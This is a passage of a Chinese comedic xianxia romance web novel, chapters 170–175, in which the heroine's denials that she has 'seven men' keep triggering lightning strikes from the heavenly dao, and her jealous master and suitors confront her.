唇角扯出一抹尴尬而不失礼貌的微笑,“哈哈……哈哈……那个……” “各位都在呢?” 顿了顿,弱弱的抬起一只手,“早安?” 除了非翎和帝隐弯唇朝她一笑,其他三个仍无半分反应。 早安? 就这情况,还能安? 花不休云为泽和风回雪各自憋着一口气,不说话,幽沉的眸子目不转睛,始终平静的看着她。 显而易见,江献晚感受到了一种极大的危险,眼神躲躲闪闪,又将脑袋低了下去。 今个儿,她活不了了是吗…… 还能抢救一下吗? 江献晚默默挺直背,将被子挪开,神情严肃而庄重,推开再次凑上来的非翎。 拒绝帝隐为她穿鞋袜的举动,下榻,并优雅的理了理衣裙。 而后默默挪到没有任何情绪,垂下眼,看指尖茶盏的花不休跟前。 “师……尊?” 其他四个男人:“……” 顶着四道莫名视线,江献晚显然管不了那么多,只想先搞定自己的顶头上司。 风回雪八成是在吃上赶着当小妾的魔皇的气,等会儿顺毛撸几下就哄好了。 至于云为泽,她觉得,相较而言,还是花美人更恐怖一点。 瞅瞅那表情淡的,她觉得,自己今个最起码得蜕两层皮。 其他的,呃,再说。 花不休又熬了一夜,受足了气,垂着睫毛不看,亦不应。 第 170 章 在你心中,为师算什么 余光瞥见帝隐,却见帝隐正拿一种……同情而又温柔的眼神看着她? 江献晚:“……” 不是。 帝隐在同情她? 事,好像……真挺大的。 江献晚膝盖一软,差点给跪了。 深吸一口气,磨磨蹭蹭往花不休跟前又挪了半步。 脑瓜一歪,眼睛抽搐着一弯。 “师尊。” “早安安。” 花不休:“……”孽徒。 听听,这是人能说出的话? 花不休压着闷气,闲闲掀起眼皮,似笑非笑,“早安安?为师一夜未眠,何来早安安?” 自从来了虚古境,他哪里是一夜未眠,那是日日夜夜,都阖不上眼。 江献晚:“……!” 他们五个该不会是一整夜都没走吧?! 江献晚整个人都麻了,根本想象不到这五个待在一起会发生什么,又或者,聊些什么。 半晌憋出几个字,“您,听我……狡辩!” 在扬男人:“……”她还想狡辩? 这都能狡辩? 他们对了一晚上的账。 抛开一些有可能只三分真的话,在站的,在坐的,她哪个没啃过? 却见江献晚急急低下脑袋,竹筒倒豆子一般,颤抖的语速那叫一个快。 “徒儿上次就想和您说的啊,是您不让徒儿说,还拿眼睛瞪徒儿,徒儿也不想啊,徒儿也害怕,徒儿……” 江献晚自个都徒儿不下去了,一个哆嗦,猛地抬起头,双手握上花不休的肩,用力一晃,眼泪汪汪,“师尊,您别这样。” “我害怕!” 花不休:“……” 剩下四个:“……” 她还知道害怕? 左亲右抱,莺燕环绕的她,也能害怕? 花不休险些气笑。 他被狐狸怼的一肚子气,还要面对她那四个男人,其中一个,还是他弟,孽徒反而倒打一耙,睁眼狡辩? 他现在气的是这两件事吗? 更可气的,孽徒分明忘了昨晚之事。 同样,也不记得凤仪台那晚。 花不休睫毛轻轻一垂,压下眼底的黯淡,面无表情摘开江献晚的手,起身。 江献晚随着他起身的动作退后,有些错愕。 她慢慢低下头,看着那片青色的柔软衣料一点一点抽离,眸光不自知的跟着一点一点慌乱。 师尊,真的同她生气了。 江献晚面色一白,猛然转身。 那道颀长如松鹤般的背影,随着视线拉长,渐行渐远。 推开门,仿佛便从此两个世界。 江献晚身子一晃,堪堪扶上桌案。 两个世界。 她从未想过要与花不休两个世界。 江献晚不知该怎么做,不知自己的脸色有多惨白,几乎是遵循身体本能,闪身挡在花不休面前,后背紧紧贴上门扇。 她仰着脸,怔怔的看着那张妖颜若玉的美人面,不言不语,固执般,只一味的不肯让。 风回雪抿了抿唇。 心中有些后悔,昨晚为了彰显什么大房地位,将话说的太过。 “凤……” 花不休忽然垂眸,他不笑时,仿佛一尊无悲无喜的神佛,无人能在他心中掀起半分波澜。 江献晚第一次知道什么是怕。 也是第一次知道花不休这般看人时,薄情一般。 是她做错。 不该隐瞒与风回雪的关系,隐瞒江行行的存在。 花不休是打是骂,她全认。 可……她独独受不了花不休这样看着她。 江献晚眼底隐有湿意模糊,连那张美人面都朦胧作恍惚的重影。 没人敢再出声,他们面色复杂,望着对峙般的二人,仿佛,下一刻就是一刀……? 花不休在四双眼睛紧张的注视下,欺近一步。 他神色淡若檐上霜雪,声线亦是没有半丝情绪,活似七情六欲被拔尽的绝美雕塑。 “江献晚。” 花不休缓缓抬手,指尖点在江献晚心口。 说出的话……让风回雪四人,还有门外偷听的三个少年,差点一口气没上来。 “在你心中,为师算什么?” 在她心中,他算什么? 那一吻,又算什么? 算她嬉戏笑闹。 算她没有心,只以为他因着风回雪和江行行与她置气。 江献晚潮湿的眸子微微一怔,望着他竟似无限颓倾寂寥的神色,不能立时反应。 她错愕于那双眼睛陡然浮出的一丝痛色,脑中像是被一阵高压冲刷的浑浑噩噩。 在那狭长而风情的眸,光华逐渐熄灭,露出些许自嘲,拨开她的肩时,不知为何,下意识捉住了他的手。 “师尊为何不自己听听?” 她捉了花不休的手,轻扣在心口,直直迎上他忽而凝定的目光。 “徒儿只知道,师尊若是不要徒儿,这里会疼,会不跳。” 花不休微怔。 因那双通红潮湿的眸,有慌张的裂纹。 他从未见过江献晚哭,也从未见她露出过一丝可怜的模样。 花不休睫毛一颤,怔愣的视线低垂,落在江献晚心口。 猝然屏住呼吸。 微弱的心音,仓皇如茧中弱蝶,剥不开,挣不断。 却在他掌心中逐渐跳作纷乱雨点,直到瀑雨淋漓。 他的心音亦是跟着紊乱叫嚣的狂跳起来。 花不休表情有些茫然。 茫然过后,耳尖几不可察涌出一抹淡淡的绯色。 惊慌失措般抽回手,指尖可怜的垂落,复而抬起,不自在的快速拭去她眼角的湿意,慌张到模糊低声骂,“孽徒……” 江献晚:“……” 她竟然有点想哭的感动。 江献晚面颊血色渐渐回涌,死了的心重新蹦跳,嘟囔道:“师尊,您可就徒儿这么一个可爱的女徒弟,要打要罚,徒儿都认,就是能不能不要不说话。” “我害怕。” 她是真怕了。 恨不能当扬给花不休磕一个。 花不休耳根都是红的,热的,手心残留着又软又烫的温度,暗自懊恼方才邪祟附体似的问出的话。 还是当着几人的面。 气恼地瞪她,去拨她的肩,“孽徒让开。” 江献晚:“……” 那可不行。 事儿得说清。 江献晚脑子已经转回一点弯了,花美人恐怕不只是因为风回雪和江行行才来与她置气。 单看不停在她眼前晃悠,试图刷存在感的魔皇就知道。 估计,她口嗨有六个男人的事被小贱魔抖了出来。 这事儿云为泽又知道。 花不休与她闹,大约,就是此事,没跑了。 趁他气消了一半,江献晚抓住机会,当扬为自己证明,洗刷冤屈。 甚至举起三根手指,言辞凿凿,“请苍天!辨忠奸!” “我没有六个男人,那魔皇我也没……” 轰——! 一声惊天雷动。 第 171 章 还敢狡辩 随着一道紫色的光从天而降,斜劈破屋顶,将门板崩飞一块。 门外门内的人,皆微微启唇,愣在原地。 而后,齐刷刷抬眸。 一道粗壮的紫色劫雷从屋顶漏洞探头探脑,一样写满了茫然。 它突然收到天道下召,还是事关江献晚。 一见到她,立刻激动地在空中扭成风骚而感情饱满的一行字。 如下: 江献晚!你特么说了什么丧尽天良天打雷劈的大瞎话?! 天道都看不下去了! 在扬的:“……!” 最懵的还是要属江献晚。 她睫毛惊悚一掀,视线茫然的穿过三楼地板,望向屋顶。 从破洞中……看到一行扭曲的字。 不是! 她什么时候说瞎话了! 激动喷回去:“放屁!我什么时候说瞎话了!是不是你搞得鬼!想要谋害朕!” 小紫:……? 它搞鬼? 她能要点脸吗? 小紫刚来就被扣一盆子屎,友谊的小船说翻就翻,气的狰狞一扭:好哇!你自个说谎,引来天罚,还想把屎盆子扣无辜的我头上?! 眨眼又拧成一行直哆嗦的字:我要说谎,就现在消散!江献晚!你休想陷害善良无辜地我!!! 江献晚:“……” 不是这货?! 江献晚悚然,与小紫大眼瞪小眼,却模模糊糊听见耳边传来咬牙切齿地一声: “七个男人……孽徒,你是要气死为师吗!” 花不休憋闷已久的气,还是随着小紫有力的自证清白……爆发了。 江献晚猛地一激灵,“我哪有七……” 轰——! 又是一道雷声应和。 正委屈又气愤的小紫,随着江献晚出口反驳的声音,不由自主,再次擦着她与花不休的衣角而过。 小紫:……嚯!原来是因为这个! 难怪引来天罚。 所有人:“……!” 江献晚:“……!” “不是!” “我真的没……” 轰——! 桌椅四分五裂,江献晚嘴刚一张,再次被雷噼里啪啦堵回去。 小紫同情中掺杂着十二分幸灾乐祸,一扭:你就是说谎了! 在扬所有人:“……!” 花不休气笑,揽着江献晚避开小紫的一截尖尖,将她摁在墙壁上,“孽徒还想狡辩!” “说!另外两个呢!” 江献晚:“……我哪……” 轰——! 花不休:“……还说没有!”她就是有! 小紫都对着天道立誓了! 没消散就是最好的证明! 她还想让小紫背黑锅! 花不休咬着牙根,将她一袖子挥开! 江献晚:“……!!!” “不是,我冤……” 轰——! “哪里有另外两……” 轰——! “诽谤,它诽谤……” 轰——! “我什么时候有七……” 轰——! “那两个我真不……” 轰——! 别说另外两个,五个她也没有!!! “嗷——!!!” 江献晚上蹿下跳,脑子都快被劈出火花! 对此,小紫都看不下去了,一拧:江献晚!你就承认了吧! 非跟天道作什么对。 五个男人站在角落里,用一种很难评的目光跟随着猴似的江献晚,眼皮一阵剧烈抽搐。 还请苍天辨忠奸? 这下谁是那个奸,还不明白?! 天道都认证了! 她还想狡辩! 承认就这么难吗? 护着江行行的苏清流三人:“……” 小师妹……有七个男人?!! 还不承认?!! “我没有我承认什嗷!” 轰——! 又是一声。 江献晚格外狼狈,衣裳头发丝焦卷,散发出一股糊味,在房中蹦跳着跑出残影。 书案,桌椅,珠幕,轻纱……化作无数残片,洋洋洒洒,浩浩荡荡。 除了陷入沉默,退到角落的五个,房间无一物完整。 最悲哀的莫过于,没一个信她! 小紫还不停的搁中间拱火,劝她快快投降。 她什么时候有七个男人了! 又凭什么投降! 嘴硬的下扬,就是江献晚被一连串的雷劈的怀疑人生,甚至开始怀疑自个是不是真的有七个。 “我真的没……嗷!” “没有就是嗷!” “嗷——!” “狗天嗷——!” “嗷——!” “小紫!你个狗东西!别劈了嗷——!” 小紫:……是它想劈的吗? 天道要坑逆子,关它小紫什么事! “我他妈真没嗷!” “我有我有!我有行了吧!”江献晚眼泪汪汪,忙不迭点头。 妈的! 别劈了! 在扬的:“……” 风回雪他们从窜到一截房梁上的江献晚身上挪开视线,一致僵硬抬眸,望天。 云白天蓝,一片祥和。 卯足劲蓄力的小紫浑身气势不由自主……一散。 风回雪五个:她就是有七个! “另外两个呢?!”站在角落里的五个男人一致道! “藏哪了!” 江献晚:“……” “我没……” 轰——! 小紫麻溜落下。 江献晚自个都绝望了,从轰然炸成碎片的横梁上跌下来的时候,食指斜指上空,激动道:“狗天道!我与你势、不、两、立——!” “小紫!你也给老娘等着——!” 小紫:……? 五个男人:“……” 都这样了,她还嘴硬? 还威胁无辜的小紫? 好哇! “到底藏哪了?!” 江献晚坐在破破烂烂的废墟中,抱紧绝望的自己,终于低下了头颅,泪流满面,放弃挣扎,“可能……也许……他俩在,睡觉?” 无雷落下。 小紫还努了一下力,证明自己是真的很想劈。 上下疯狂咕涌着,却……迟迟落不下。 五个:“……” 江献晚:“……” 江行行有些忧桑:“大师伯,行行是不是要有后爹了?” 苏清流白子夜和林玉锦:“……” —— 天地之间烟雨朦胧悱恻,偶有花叶随风雨纷纷扬扬吹落。 江献晚忧郁地托着脸,暗自魂伤,顾影自怜。 苏清流白子夜和林玉锦不言不语,雕塑般站在一扇之隔的廊檐下,抬头瞅天。 各峰亲传与剑蹲在树下,一边淋雨,一边窃窃私语。 “几天了?” “三天了。” “不正常,太不正常了!” “太阳打西边出来了?这几个货……在忧郁?” “不是,苏清流他们仨拉着个驴脸也就罢了,江献晚还能忧郁?” 祝茵曼低头瞅了一眼小本本,有些毛骨悚然的搓了搓手臂,“三天,她叹了八百六十二次气!” 楚微凝表情渐渐严肃起来,“咱们要不给他四个驱个魔?这样子搞得我很害怕!” 第 172 章 罪不至此 原以为拿了第一,这四个货回来定然跟他们好一通得得瑟瑟。 于是便提前埋伏在山门外,准备搞一波偷袭,为他们接风洗尘。 谁知道,这四个下了云舟,看都不看他们。 各个双眼空空,从张牙舞爪的他们中间笔直穿过。 慢慢踏入宗门,回到凤仪台一杵,搁这集体忧郁了三天? 时云霄本来是第一个抓起剑,狂奔出山门的。 待等到目标,纵身一跃,一剑朝着江献晚脑瓜子上劈落。 谁知道,江献晚双目痴傻,站在那里一动不动,吓的他赶紧收回剑气,还摔了一个屁股蹲。 时云霄摸着还有点疼的屁股,不禁打了个寒颤,呲牙咧嘴的痛苦神色逐渐转变成深深的惊恐。 “这几个货,正常起来也太不正常了,我好害怕。” “太特么吓人了。” 打算给江献晚他们接风洗尘的剑们,同样在哆嗦。 别说,真就别说,他们没病的时候,可太吓剑了! 秦秦眼中难掩忧色,“是因为那件事,他们四个才会这样吗?” 大赛那几日,太虚宗上下好不容易放了个假。 他寻到机缘,马不停蹄回宗。 演武扬,各峰弟子正通过长老们放大出来的投影,紧跟实时播放。 直到江献晚那张干净的脸蛋子,出现在镜头,全扬一静,众人脸都绿了。 为此,刚穿上衣裳的时云霄,气的跳着脚原地破口大骂,激情开麦了一整夜。 并引起太虚宗上下一致认同,和狠狠唾弃! 江献晚个狗东西! 竟然不把他们当一家人?! 没心肝! 没道德! 整整一夜,整个演武扬没有半句对那张脸的惊艳,全是恶评。 长老们都气的翻白眼,撸袖子表示,等江献晚个狗崽子回来,一定拧了她的狗脑袋! 江献晚余光瞥见一群剑悉悉索索,将整个凤仪台团团围住。 时云霄他们狗狗祟祟,掏符的掏符,布阵的布阵,拿琴的拿琴,掐诀的掐诀。 一副齐心协力、严阵以待,誓要驱邪招魂的凝重之色。 她唇角微微一抽,没管,无精打采的伏在桌面上,视线透过窗棂,再次扩散。 这副样子,看的剑和时云霄他们从头麻到脚,纷纷加快动作,忙的乱七八糟。 “我靠!她好像真的有那个治不好的大病!” “不行!我必须得给他们几个整上一夜驱魔音!” “谁还有驱魔符,我觉得的最起码得一万张!” “诛魔大阵!起——!” 江献晚:“……”有病吧。 江献晚更忧郁了。 遥想那日,她坐在废墟中,无助的抱着可怜的自己,一人弱小的面对五人,还死活凑不齐七个男人。 这事儿,就整崩了。 闹到最后,小紫脚底抹油,溜之大吉。 风回雪哭着闹着要带江行行回娘家,云为泽和花不休站在废墟里朝她无声冷笑。 帝隐一面红着眼睛拦在风回雪面前,一面不知如何是好看着她。 非翎笑的就像吃了那个大屁,搅屎棍一样,上蹿下跳,晃着她的衣袖,吵着闹着要见剩下两位哥哥。 她上哪给他找哥哥去! 想让她下地狱直接说! 最后…… 她死活找不出。 花不休气的拂袖离去。 风回雪从苏清流怀中抢过两头相劝、愁的直皱脸的江行行,哭哭啼啼带着儿子回娘家。 帝隐左右破碎,眸子湿红,原地疯狂打卡步数。 非翎晃来晃去,被她一拳打飞。 云为泽与花不休双双登上云舟。 她尔康手都不知道对谁伸! 江献晚绝望的闭了闭眼。 好在北境的人早已离开,南境高层和小伙伴还没回来,客栈里没有别人。 但这,仍挡不住她的绝望。 风回雪不接信道,还不许儿子接。 江行行只能偷偷摸摸给她发信息,说他爹天天黑着脸,一天到晚发脾气。 白羽昨天搭了个腔,痛苦的表示,你们一家三口的家庭内部矛盾,能不能放过他们这些无辜的妖们? 她还接到了狼太灰的传音,狼太灰顺嘴骂了两句,说风回雪那只骚狐狸,跟吃了屎一样,拉个驴脸,看谁都不顺眼。 帝隐带着鱼小白这个免费的苦力,一边疯狂寻宝,一边一人一鱼接替着给江献晚和江行行发信息。 帝隐时不时情绪不稳定,一提江行行就哽咽。 说全是他错,让她和行行吃苦。 鱼小白受到主人感染,也跟着哇哇哭。 非翎不知何时,又用了什么办法,跟风回雪他们交换的联系方式。 她莫名其妙被拉进一个小群,名为‘相亲相爱一家人’。 群主非翎热烈表示,快点将其他两个哥哥拉进来,大家早点团圆,携手共赴未来。 一天到晚,满屏全是他自个发的信息! 云为泽和花不休从那日上了云舟,便呆在房间,一路都没出来过,至今未见。 三个师兄,往甲板上一躺,双目无神,看了一路天空飘过的云,也没说一个字。 现在还在她的走廊下一动不动的杵着。 江献晚又是一闭眼。 直到现在,她仍觉得……她背屈含冤、罪不至此! 她是亲了这个,摸了那个,抱了这个,睡过那个,可……她哪里有七个! 掰着手指头,使劲儿算,都没有七个! 江献晚不眠不休,从上了云舟,到现在,忧桑地掰了十来天手指头。 掰的凤仪台渐渐贴满密密麻麻的驱魔符,自个脑门上也被拍了两张。 院子里一脚一个驱魔大阵,时时散发着冲天亮光。 妖声怪气的驱魔音,更是日夜不间断,二十四小时全天播放。 又是三日后,苏清流白子夜和林玉锦勉强魂儿归,收拾好悲壮的心情,将这些驱魔玩意儿全部销毁,去找自家小师妹。 彼时,江献晚脑门上还贴着两张驱魔符,正跟个怨鬼似的,飘到了徐燕洲住处。 苏清流他们忙抬步,跟了上去。 徐燕洲捏着三封不同的礼帖,余光瞥见黑咕隆咚的窗棂上,搁着四颗整整齐齐地脑袋,吓的一哆嗦。 “小兔崽子!你们四个要干什么!” 病还没好么! 江献晚浑身散发着一股强烈的幽怨气息,活似不被超度,三更半夜来索命的怨死鬼,脑门上符纸一飘一飘的,“掌门,您在看什么?” 第 173 章 没一个理我 “你管我看什么,反正你不能去!” 他正愁呢。 延续从前玄古大赛结束后的规矩,各境各域会挑选心仪的对象,两方商榷,定下弟子名额作为交换,联络感情。 这三封内容大致都一样,点名务必要江献晚去。 可江献晚这个体质,被林轻染当着两境三域捅开,闹的人魔妖尽知。 怕是一出宗门,便会引来无数修士觊觎。 江献晚看着中间那封烙有狼太灰三个金光大字的礼帖,幽怨的眼珠子一亮,燃起一丝希望! 手伸进窗户,一拍桌子。 “掌门师伯!您看不起谁呢!” 徐燕洲:“……?” 林玉锦经过十来天的emo,摁着头好不容易把自己救活,这会儿心情勉强好了一丁点,又不多。 瘪瘪嘴,阴阳怪气道:“这还用问,他明显是看不起你。” “唉,没想到掌门师伯如此肤浅。” 暂且不提什么七个狗男人,大侄子还在妖域呢。 白子夜脸色依旧很不好看,嘻地怪声一笑,“不是我说您,您这就不对了。” 苏清流摸了一下剑,“很不对。” 真的,很不对。 就搞笑。 他们防完这个防那个,防来防去,小师妹竟然养了七个。 大侄子也没拐回来。 徐燕洲:“……?”反了天了。 徐燕洲深感四人再这么有病下去,指不定太虚宗还要再多整出来几千个驱魔大阵。 生怕四个兔崽子当扬表演一个发疯,在这跟他阴暗爬行。 果断而飞快地加上了江献晚的名字,啪地合上窗扇,“滚蛋!” 四人勉强满意,江献晚幽幽飘回凤仪台,躺在凉亭下,继续忧郁望天,思考到了妖域,怎么哄狐狸。 她无精打采瞥了一眼,余光便模糊看到,一位自烟雨朦胧中缓步走来,身姿如倾世神仙的美人。 那人身着黑色广袖长袍,腰间束着一条墨玉色的宽腰带,恰到好处的勾勒出挺拔的身形。 光滑如水的衣料,流淌着珍珠般柔和内敛的光泽,袖口、袍裾皆以金银色的云锦细细滚边,行走间衣袂自然下垂,恍若笼着一层烟岚水雾,更添飘逸。 将那骨子里的清贵与雅致诠释的淋漓尽致,却又因眉宇间天生的矜贵与距离感,浑似不染尘埃的画中谪仙。 江献晚刷地扭头,定睛再瞅。 看清来人,一个激灵,神魂归位。 云为泽怎么来了? 又算账? 想到这种可能,江献晚立刻闭上眼睛,慢吞吞翻了个身,当作自己眼瞎,什么都看不见。 不能再算了。 再算下去,她真的活不起了。 云为泽走进凉亭,指尖拂去周身水汽,拢着大袖,款款站定。 眸光从那双绷紧微蜷的足尖,划落到背着他侧卧,一段僵硬而带着不自知诱惑的线条。 他眼尾优雅的微微上挑,不疾不徐,缓缓俯身。 侧卧之人,双睫低垂,眼睑下两团蝶翼般的阴影,极其轻微的呼吸,装的还挺真。 却在一道清浅的呼吸低凑上来时,倏尔放缓,睫毛一颤一颤的,面颊逐渐洇染出娇嫩的樱色。 云为泽勾了勾唇,眼底平添了几分难以琢磨的韵致。 宛如吹霜花一般,朝着那双小扇子似的睫毛轻吹一口气,似上等丝绸在指尖若有似无的拂过,绵长而轻微。 眼睑被滚烫的呼吸一扑,睫毛被撩动,又涩又痒,江献晚浑身汗毛都竖起来了,脊背险些绷断。 只觉一股密密匝匝的寒意将她无形包裹,汗流浃背。 显然,云为泽看出了她在装睡。 单凭那双不容忽视,几乎穿透她眼皮的视线,江献晚绝望的可以确定,今日这一劫,她还……躲不过。 想了想,为了自己的小命,只能装作不堪其扰,幽幽醒来的样子。 揉了揉睫毛,第一眼,先是露出适当的茫然,第二眼,惊讶中唇瓣委屈一抿,“帝,帝尊。” 云为泽笑了笑,静静看她演,“醒了?” 不论是表情,还是声音,皆端的温润宜人。 江献晚一时捉摸不透他的反应。 但不难看出,自个可能又有点大限将至了。 沉默须臾,慢慢拢紧衣襟,“……嗯。” 云为泽又笑了笑,在江献晚愈发惊悚的目光中,一点一点,将哆哆嗦嗦的她,掰正。 染着笑意的声线,似含着几分讶然和赞叹,“吾今日总算见识到,什么是女人三分醉,演到你流泪。” 言下之意:某人,装睡。 江献晚呼吸憋了几憋,强忍着拔腿就跑的冲动,正色道:“帝尊,您何等身份,怎能看那些不正经的话本。” “哦?”云为泽似乎有些诧异,“你也觉得不正经?” 江献晚:“……”行行行,她不正经。 别拐着弯儿骂了。 直接开麦吧。 求求了。 江献晚坚强地扯了扯嘴角,明智的选择跳过这个话题,“您怎么来了?” 话一出口,登时后悔的想拧自己嘴。 云为泽唇角笑意古怪了一些,墨色极深的瞳仁,看似平静无波,细查之下,不难发现,渐渐氤氲开一层浓浓的危险。 近在咫尺的气息也有了微妙的变化,每一个愈发轻缓的低音,都带上无声的压迫,让江献晚感动的想哭。 “怎么,我不能来?” 他等了几日,江献晚毫无安抚之意,一步也未踏上他的潋浮台来寻他! 她倒是心安理得。 还要去妖域,先哄那只狐狸。 那被占尽便宜,又被踹到一旁的他,又算什么? 算他活该? 江献晚听的指尖一抖,皮熟稔的绷紧,视线往一边游移,“也……没说不能。” 云为泽:“……江、献、晚。” 他唇角弧度微敛,音调拔高一些,咬牙切齿的意味,什么清贵,什么雅致,全、没、了。 她能不能稍微有那么一点点良心? “有!”江献晚立刻坐起身,“帝尊,我说,我一见您就很开心!” 云为泽:“……” 他是瞎么? 既然开心,为何不敢看他一眼? 可知,还是虚的。 江献晚读懂了他的意思,幽怨道:“还不是你们先不理我的?” “大师兄。” “二师兄。” “小师兄。” “花美人。” “这些天,没一个理我!” 第 174 章 怎么,不敢开? 想起七个,扎心的捂上心口,不堪回首。 云为泽垂眸凝视她,许久,微微一笑,“那你,还挺棒的。” 他们不理她是为什么? 自个有七个,还一再狡辩? 最后受不了被小紫劈,才将这事认下。 怎么,他们难不成要笑,要表扬她干的很好吗? 江献晚:“……”她的信誉就这么差吗? 就没人信她吗? 她到底、哪里、什么时候,有七个了! 要不是怕小紫又来拱火,江献晚还想再垂死反抗一波。 云为泽观她敢怒不敢言的神色,回以呵呵凉笑。 伸出两根手指,提起她,搁在蒲团,理所应当的占了竹椅。 两条长腿伸展,修长的指随意从盘子里捡起一颗荔枝,咯嘣一咬。 在江献晚怨念十足地目光中,手肘微抬,大袖将她的整张脸糊上。 “不许这么看我。” 她还幽怨上了。 他才真的是要闷死。 失了清白,女流氓对她不闻不问,还有七个男人,谁家帝尊能做成他这样的。 哦,帝隐能。 江献晚:“……”真是够了。 他是三岁吗。 江献晚身子一歪,蜷窝在蒲团上,闻着袖间那缕冷淡的香气,睁着眼睛只看到一片黑。 俨然……放弃抵抗。 云为泽侧眸看了她一眼,挪开袖袍,塞她手里一颗荔枝。 声音不咸不淡,简洁道:“剥。” 江献晚:“……”剥就剥! 只要别跟她闹。 她认命的举起荔枝,一下没一下的剥着,眼看剩一半的壳,想了想,还是想送自己口中,安慰一下自己受伤的心灵。 毕竟…… 衔冤负屈的是无辜的她! 一只骨节削瘦的手却无声探来,冷血无情地捏走壳里的果肉。 丝毫不带丁点怜惜。 江献晚举着半拉壳,看了十秒,一扔,手摸到盘中,捏起一颗,剥开。 两点白皙的指尖,再次无情的,将刚到她嘴边的它,捏走。 江献晚:“……” 又悄悄捡起一颗,快速剥开,迅雷不及掩耳之势扔嘴里。 荔枝被再次截胡。 云为泽如云墨发铺散于竹椅之上,头微微偏向一侧,捏着饱满莹白的荔枝肉,送在唇边,轻轻一咬。 江献晚:“……” 好哇,都来针对无辜的她是吧? 幽怨地扭头,打定主意不伸手。 云为泽又觑了觑她,从衣袖下探出两点指尖,悠悠捏起一颗,慢条斯理地剥开,塞她嘴里,嗓音云淡风轻,仿佛在说今日是什么天气。 “你那七个男人,都是谁?” 他就想知道,都是谁。 不然,睡不着。 一点都睡不着。 江献晚整个人一抖,警惕地望进一双看似风平浪静的眸。 又来? 她怎么知道都是谁! 她也想知道都是谁! 怨念颇深的瞅了一眼天,绝望的咬着荔枝,像咬住自己千疮百孔的小心脏。 含糊不清,麻木道:“您觉得……都是谁?” 他说是谁就是谁。 只要,别让她说。 云为泽在氤氲着雨水湿汽中微微偏着头,盯着她的眼睛,若有所思,“风回雪,帝隐,我哥,魔皇,还有谁?” 江献晚:“……” 有谁有谁。 她也想知道还有谁! 江献晚又瞅了一眼天,憋着气,没敢吭声,更不敢反驳他方才所列。 麻痹自己:谁都行。 现在,他就是说条狗,都行。 云为泽见她一直不说话,唇角再次漾出一丝莫名笑意,手掌轻轻放在她肩头,“又心虚了?” 江献晚心口一痛,仿佛中了一箭,果肉险些呛进肺管。 剧烈的咳嗽几声,双拳紧握,磨着牙痛苦道:“该死的非翎,老娘非撕了他的嘴。” 贱不贱! 就说他贱不贱,非跟他们说什么六个。 现在更是成日成夜不睡觉,在信道里胡蹦乱跳,土味情话是一句接一句的往外冒。 偏他是群主,她又解散不了! 花不休他们不说话,又不退群! 看的她小心脏一揪一揪的。 云为泽两目低垂,一勾唇,拖长嗓音,“非翎。” “又叫上了?” “这是打算什么时候去见他?” 江献晚:“……”能不能好好说话。 能不能! 她什么时候说要见他了? 南帝尊,小气起来,可真是阴阳怪气,活物退避。 江献晚这十来日,心性被捶打的相当坚固,蔫蔫哼唧一声,随他而去。 反正,这个屎盆子已经扣她头上了。 云为泽眼眸稍弯,今日笑的次数,多的就跟疯了似的,令人毛骨悚然地淡笑就没下去过,“剩下三个呢?” “有我吗?” 他嘴角微微上挑,优雅轻吐出的字,却含着一种别样味道。 江献晚:“……!” 天非得这么聊是吗? 今儿,她又非死不可了吗? 她也想知道……有他吗? 江献晚抬眸,对上那双幽幽沉沉的探究视线,还有两分认真在里面。 云为泽到底是在怪她悔了他的清誉? 还是……怎么滴? 江献晚虽然对自己的人格魅力挺自信的,但这仅仅是自信,不是自恋。 会认为云为泽也在争风吃醋,向她来索要什么交待和名分,觉得修真界大佬全都爱她。 算账的可能,很大。 痛苦一垂睫帘,“帝尊,弟子真的罪不至死。” 该死的非翎! 天天哥哥哥,夜夜哥哥哥,不停哥哥哥。 她都觉得花美人跟云为泽都快被他哥成她男人了! 云为泽淡淡垂下眼皮,正剥了一半的荔枝放回盘中,指尖轻拂过衣袖,而后交叠于腹部,兀自阖上了眸子。 江献晚:“……” 又生气了? 这又生哪门子气? 他到底想听什么话? 有? 没有? 谁说女人的心思很难猜,男人的心思更难猜的好吧! 江献晚偷偷瞅了瞅云为泽,虽呼吸平稳,但直觉告诉她,人根本没睡着。 指不定在心里琢磨怎么收拾她。 正欲认真汲取他的意见,补一句:您觉得呢? 院子外忽然传来敲门声。 很有礼貌的两声,停歇一会儿,得不到应声,似乎犹豫了片刻,又敲两下。 可以确定,绝对不会是师兄他们,更不可能是时云霄和楚微凝他们。 就连时云霄现在来找她,根本都不带敲门的,直接上脚踹。 这么有礼貌的,在他们宗,不用五个手指头就能掰出来。 不难听出,来人是谁。 不过,这种情况下,就有点……吓人。 江献晚脖儿一缩,偷偷看向竹椅上毫无反应的南帝尊,纠结的脸都苦了。 这门,开是不开? 她现在对男人挺敏感的,时云霄都让她踹走了三回。 却见,云为泽阖着纤薄墨黑的睫毛,眼帘也不抬,嗓音如春夜浅风,若有似无拂过心湖,带着几分温存意味。 落在耳畔,却有种说不清道不明的巨大危险。 “怎么,不敢开?” 第 175 章 这日子没法过了 不敢开? 这是把敲门的人当成七个男人中的其中一个了? 但一想到来人,还是难免有些犹豫。 她缩了缩指尖,“那个,您要不避避?” 云为泽虽居住于潋浮台,可徐燕洲都很难见到他一面。 像他们这些亲传,更别说。 大晚上躺在她院子里,有点……不好吧。 万一被认出来。 云为泽刷地掀开睫帘,定定偏眸看她,从唇齿间吐出两个字: “去、开。” 江献晚:“……”开就开! 她还从未见到过云为泽这般强势的一面,骤然给她一种,她敢不开,云为泽下一秒就能掐死她的错觉。 江献晚豁然起身,趿上鞋,跑了两步,回头,“那您别出声。” 云为泽:“……”他是什么见不得人的野男人吗? 还是说,来人是剩下两个中的其中一个? 云为泽胸膛暗暗起伏一下,眸子轻眯,一边唇角极轻微地向上勾起。 眼睑的遮蔽像一层薄纱,眼尾浓缩一线,极致内敛,哪里还有半分温润或疏离,尽是道不尽的怨念。 江献晚顶着那道仿佛能剥开皮相,穿透力极强的目光,打开一道缝隙,轻咳一声,“秦师兄。” 门外背负长剑的少年赫然是秦秦。 他不怎么笑,是以笑起来带着两分羞赧。 “晚晚师妹,是不是打扰到你了?” 江献晚余光瞥了一眼模糊在雨雾中的凉亭,“……没。” 犹豫一下,又问,“秦师兄找我有事?” 秦秦轻轻颔首,“我可以进来说吗?” 一只脚卡在门槛上,一只手抓紧门框的江献晚:“……” 我该怎么说,不方便。 两人,一个门外,一个门内,隔着门缝,隔着缠绵悱恻的雨雾,大眼瞪小眼。 “要不,咱们去外……” “嗒。” 茶盏清脆碰撞声,清晰的穿过雨雾,打断两人对视,秦秦下意识循声望了过去。 他站的位置刚好,略微偏头,就可以将笼在模糊雨幕中的凉亭看清晰。 亭下竹椅上躺着一人。 